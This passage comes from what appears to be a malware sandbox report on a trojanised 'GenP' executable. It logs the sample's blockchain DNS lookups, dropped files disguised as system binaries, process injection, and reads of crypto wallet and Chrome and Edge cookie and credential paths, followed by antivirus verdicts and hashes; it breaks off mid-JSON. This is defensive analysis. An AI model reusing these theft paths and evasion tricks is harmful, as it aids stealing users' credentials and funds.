Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Wed 07 Oct 2026 19:39:25 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1791401965.186831 VS0 VE0 X-Served-By: cache-lax-kwhp1940045-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Wed 07 Oct 2026 19:39:26 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1791401966.375142 VS0 VE0 X-Served-By: cache-lax-kwhp1940045-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Wed 07 Oct 2026 19:39:28 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1791401969.622985 VS0 VE0 X-Served-By: cache-lax-kwhp1940122-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Wed 07 Oct 2026 19:39:29 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1791401970.692317 VS0 VE1 X-Served-By: cache-lax-kwhp1940122-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Wed 07 Oct 2026 19:39:30 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1791401971.755519 VS0 VE0 X-Served-By: cache-lax-kwhp1940122-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Wed 07 Oct 2026 19:39:32 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1791401973.865411 VS0 VE0 X-Served-By: cache-lax-kwhp1940124-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Wed 07 Oct 2026 19:39:33 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1791401974.886120 VS0 VE0 X-Served-By: cache-lax-kwhp1940124-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body "POST /route/1/mainnet/toncenter-api-v2/runGetMethod HTTP/2 Host: ton.access.orbs.network User-Agent: Go-http-client/2.0 Content-Type: application/json Accept-Encoding: gzip" with payload::==> "{"address":"Ef_lZ1T4NCb2mwkme9h2rJfESCE0W34ma9lWp7-_uY3zXDvq","method":"dnsresolve","stack":[["tvm.Slice","te6cckEBAQEAEgAAIHRvbgB3ZWJyYXR4YXllMQDAQn8n"],["num","105311596331855300602201538317979276640056460191511695660591596829410056223515"]]}" HTTP/2 200 OK Content-Type: application/json Date: Wed 07 Oct 2026 19:39:34 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: X-API-key X-API-key X-Ton-Client-Version DNT X-CustomHeader Keep-Alive User-Agent X-Requested-With If-Modified-Since Cache-Control Content-Type X-Timer: S1791401975.949807 VS0 VE1 X-Served-By: cache-lax-kwhp1940124-LAX Retry-After: 0 X-Cache: HIT Accept-Ranges: bytes X-Cache-Hits: 0 Strict-Transport-Security: max-age=300 Via: 1.1 varnish with no response body5c:T4ac,"GenP-v4.2.1.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 7 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\c43862135138\GenP-v4.2.1.exe]- [targetUID: 00000000-00007688] "svchost.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\c43862135138\svchost.exe]- [targetUID: 00000000-00001656] "dllhost.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%TEMP%\dllhost.exe]- [targetUID: 00000000-00001656] "OSPPSVC.EXE" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\Google\Chrome\Application\OSPPSVC.EXE]- [targetUID: 00000000-00001656] "OSPPSVC.EXE" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\OSPPSVC.EXE]- [targetUID: 00000000-00001656] "OSPPSVC.EXE" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%LOCALAPPDATA%\Programs\OSPPSVC.EXE]- [targetUID: 00000000-00001656]5d:T95b,"Genpv4.2.1.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\GenP-v4.2.1.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000280100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Genpv4.2.1.exe" wrote 16384 bytes starting with PE header signature to file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\svchost.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "svchost.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\dllhost.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "svchost.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Programs\OSPPSVC.EXE": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "OSPPSVC.EXE" wrote 56320 bytes starting with PE header signature to file "C:\Program Files (x86)\Microsoft\Edge\Application\OSPPSVC.EXE": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "OSPPSVC.EXE" wrote 56320 bytes starting with PE header signature to file "C:\Program Files\Google\Chrome\Application\OSPPSVC.EXE": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...5e:T6f0,"OSPPSVC.EXE" opened "C:\Program Files (x86)\Microsoft\Edge\Application\OSPPSVC.EXE" with delete access "OSPPSVC.EXE" opened "C:\masterkey_db" with delete access "OSPPSVC.EXE" opened "C:\Program Files\Google\Chrome\Application\OSPPSVC.EXE" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_g1ysq5aj.x5f.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_3yjnbpvk.wkh.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_jijndlqk.guu.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_uwd1u1ok.5vv.psm1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\7z.dll" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\7z.exe" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\MSTSCLib.dll" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\AxMSTSCLib.dll" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\ffmpeg.exe" with delete access "ReAgentc.exe" opened "GLOBALROOT\device\harddisk1\partition4\Recovery\WindowsRE\Winre.wim" with delete access "ReAgentc.exe" opened "GLOBALROOT\device\harddisk1\partition4\Recovery\WindowsRE\boot.sdi" with delete access "ReAgentc.exe" opened "GLOBALROOT\device\harddisk1\partition4\Recovery\WindowsRE\ReAgent.xml" with delete access "ReAgentc.exe" opened "GLOBALROOT\device\harddisk1\partition4\Recovery\WindowsRE\ReCustomization.xml" with delete access "ReAgentc.exe" opened "GLOBALROOT\device\harddisk1\partition4\Recovery\WindowsRE\" with delete access5f:T75a,"svchost.exe" wrote 000011C0 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Programs\OSPPSVC.EXE" (Handle: 1716) "svchost.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Programs\OSPPSVC.EXE" (Handle: 1716) "svchost.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Programs\OSPPSVC.EXE" (Handle: 1716) "OSPPSVC.EXE" wrote 000011C0 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1196) "OSPPSVC.EXE" wrote 00000008 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1196) "OSPPSVC.EXE" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1196) "OSPPSVC.EXE" wrote 000011C0 bytes to a remote process "C:\Program Files (x86)\Microsoft\Edge\Application\OSPPSVC.EXE" (Handle: 932) "OSPPSVC.EXE" wrote 00000008 bytes to a remote process "C:\Program Files (x86)\Microsoft\Edge\Application\OSPPSVC.EXE" (Handle: 932) "OSPPSVC.EXE" wrote 00000004 bytes to a remote process "C:\Program Files (x86)\Microsoft\Edge\Application\OSPPSVC.EXE" (Handle: 932) "OSPPSVC.EXE" wrote 000011C0 bytes to a remote process "C:\Program Files\Google\Chrome\Application\OSPPSVC.EXE" (Handle: 1380) "OSPPSVC.EXE" wrote 00000008 bytes to a remote process "C:\Program Files\Google\Chrome\Application\OSPPSVC.EXE" (Handle: 1380) "OSPPSVC.EXE" wrote 00000004 bytes to a remote process "C:\Program Files\Google\Chrome\Application\OSPPSVC.EXE" (Handle: 1380) "powershell.exe" wrote 000011C0 bytes to a remote process "C:\Windows\SysWOW64\ReAgentc.exe" (Handle: 2204) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\SysWOW64\ReAgentc.exe" (Handle: 2204) "powershell.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\ReAgentc.exe" (Handle: 2204)60:T4c4,"OSPPSVC.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb" "OSPPSVC.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Ethereum\keystore" "OSPPSVC.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Electrum\wallets" "OSPPSVC.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Coinomi\Coinomi\wallets" "OSPPSVC.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Exodus\exodus.wallet" "OSPPSVC.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\atomic\Local Storage\leveldb" "OSPPSVC.EXE" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Guarda\Local Storage\leveldb" "OSPPSVC.EXE" trying to touch file "%APPDATA%\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb" "OSPPSVC.EXE" trying to touch file "%APPDATA%\Ethereum\keystore" "OSPPSVC.EXE" trying to touch file "%APPDATA%\Electrum\wallets" "OSPPSVC.EXE" trying to touch file "%APPDATA%\Coinomi\Coinomi\wallets" "OSPPSVC.EXE" trying to touch file "%APPDATA%\Exodus\exodus.wallet" "OSPPSVC.EXE" trying to touch file "%APPDATA%\atomic\Local Storage\leveldb" "OSPPSVC.EXE" trying to touch file "%APPDATA%\Guarda\Local Storage\leveldb"61:T44f,"OSPPSVC.EXE" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Web Data" "OSPPSVC.EXE" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State" "OSPPSVC.EXE" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Last Browser" "OSPPSVC.EXE" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "OSPPSVC.EXE" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Web Data" "OSPPSVC.EXE" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Web Data" "OSPPSVC.EXE" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" "OSPPSVC.EXE" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Last Browser" "OSPPSVC.EXE" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" "OSPPSVC.EXE" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Web Data"1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1793294851443,"unified_at":"2026-10-29T17:27:31.443Z","metadata":{"hashes":{"sha256":"5738fee27e66e775e7728ece019893cbfc694c94d23db4bc1a8afc4d9e17a7d9","sha1":"96115532ddc8f206f943eee12703be51b2408d0a","md5":"143ec507d0eed84322800b516f5bd115","sha512":"5bf03aff91dc8e82f08e763270b86e26a534ec763eb8589dd78d47e94b7f17d5d0e5c5604c35b2c2bb9299888610c1855db8300cab08f3753290c25755525e31","ssdeep":"1572864:4VdsSCuUAOizL2H05lE5ouNNEV2E5xMHeYR9AwXMzBvYv4x0g6Zbq/zCEye:NSsAOuLHEeuNNI2EQ393XMlAg1L3","ssdeep_chunks":["1572864:4VdsSCu","1572864:VdsSCuU","1572864:dsSCuUA","1572864:sSCuUAO","1572864:SCuUAOi","1572864:CuUAOiz","1572864:uUAOizL","1572864:UAOizL2","1572864:AOizL2H","1572864:OizL2H0","1572864:izL2H05","1572864:zL2H05l","1572864:L2H05lE","1572864:2H05lE5","1572864:H05lE5o","1572864:05lE5ou","1572864:5lE5ouN","1572864:lE5ouNN","1572864:E5ouNNE","1572864:5ouNNEV","1572864:ouNNEV2","1572864:uNNEV2E","1572864:NNEV2E5","1572864:NEV2E5x","1572864:EV2E5xM","1572864:V2E5xMH","1572864:2E5xMHe","1572864:E5xMHeY","1572864:5xMHeYR","1572864:xMHeYR9","1572864:MHeYR9A","1572864:HeYR9Aw","1572864:eYR9AwX","1572864:YR9AwXM","1572864:R9AwXMz","1572864:9AwXMzB","1572864:AwXMzBv","1572864:wXMzBvY","1572864:XMzBvYv","1572864:MzBvYv4","1572864:zBvYv4x","1572864:BvYv4x0","1572864:vYv4x0g","1572864:Yv4x0g6","1572864:v4x0g6Z","1572864:4x0g6Zb","1572864:x0g6Zbq","1572864:0g6Zbq/","1572864:g6Zbq/z","1572864:6Zbq/zC","1572864:Zbq/zCE","1572864:bq/zCEy","1572864:q/zCEye","3145728:4VdsSCu","3145728:VdsSCuU","3145728:dsSCuUA","3145728:sSCuUAO","3145728:SCuUAOi","3145728:CuUAOiz","3145728:uUAOizL","3145728:UAOizL2","3145728:AOizL2H","3145728:OizL2H0","3145728:izL2H05","3145728:zL2H05l","3145728:L2H05lE","3145728:2H05lE5","3145728:H05lE5o","3145728:05lE5ou","3145728:5lE5ouN","3145728:lE5ouNN","3145728:E5ouNNE","3145728:5ouNNEV","3145728:ouNNEV2","3145728:uNNEV2E","3145728:NNEV2E5","3145728:NEV2E5x","3145728:EV2E5xM","3145728:V2E5xMH","3145728:2E5xMHe","3145728:E5xMHeY","3145728:5xMHeYR","3145728:xMHeYR9","3145728:MHeYR9A","3145728:HeYR9Aw","3145728:eYR9AwX","3145728:YR9AwXM","3145728:R9AwXMz","3145728:9AwXMzB","3145728:AwXMzBv","3145728:wXMzBvY","3145728:XMzBvYv","3145728:MzBvYv4","3145728:zBvYv4x","3145728:BvYv4x0","3145728:vYv4x0g","3145728:Yv4x0g6","3145728:v4x0g6Z","3145728:4x0g6Zb","3145728:x0g6Zbq","3145728:0g6Zbq/","3145728:g6Zbq/z","3145728:6Zbq/zC","3145728:Zbq/zCE","3145728:bq/zCEy","3145728:q/zCEye","1572864:NSsAOuL","1572864:SsAOuLH","1572864:sAOuLHE","1572864:AOuLHEe","1572864:OuLHEeu","1572864:uLHEeuN","1572864:LHEeuNN","1572864:HEeuNNI","1572864:EeuNNI2","1572864:euNNI2E","1572864:uNNI2EQ","1572864:NNI2EQ3","1572864:NI2EQ39","1572864:I2EQ393","1572864:2EQ393X","1572864:EQ393XM","1572864:Q393XMl","1572864:393XMlA","1572864:93XMlAg","1572864:3XMlAg1","1572864:XMlAg1L","1572864:MlAg1L3"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744","pehash":"221e1ce9e832d066483fac841f864e56877f517a"},"file_info":{"file_name":"Genp v4.2.1.exe","file_type":["peexe","autoit","executable"],"file_type_id":"autoit","file_size":75276847,"entropy":8,"compile_timestamp":"2026-09-25T03:04:07","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1791401862000,"last_seen":1791401862000,"last_multi_scan":1791401862000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":3,"import_count":0,"export_count":0,"sections":[{"name":".text","virtual_address":"0x2000","virtual_size":5012,"raw_size":5120},{"name":".rsrc","virtual_address":"0x4000","virtual_size":1240,"raw_size":1536},{"name":".reloc","virtual_address":"0x6000","virtual_size":12,"raw_size":512}],"section_names":[".text",".rsrc",".reloc"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["rat","rozena","aviator","stealer","salatstealer","informationstealer","banker","disableuac","reverseshell","kryptik","criminal","banload","malicious","evasive"]},"stats":{"av":{"malicious_count":12,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":114},"sandbox_signatures":{"informative_count":267,"suspicious_count":17,"malicious_count":17,"total":301},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_100.0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Dropper.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Marsilia.215203","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrikefalconml":{"name":"CrowdStrike Falcon ML","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Marsilia.215203 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of WinGo/Agent_AGen.AJW trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Agent.sa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 700000201 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"high_entropy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Salat-B","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/ABTrojan.RRAE-5063","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Marsilia.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource 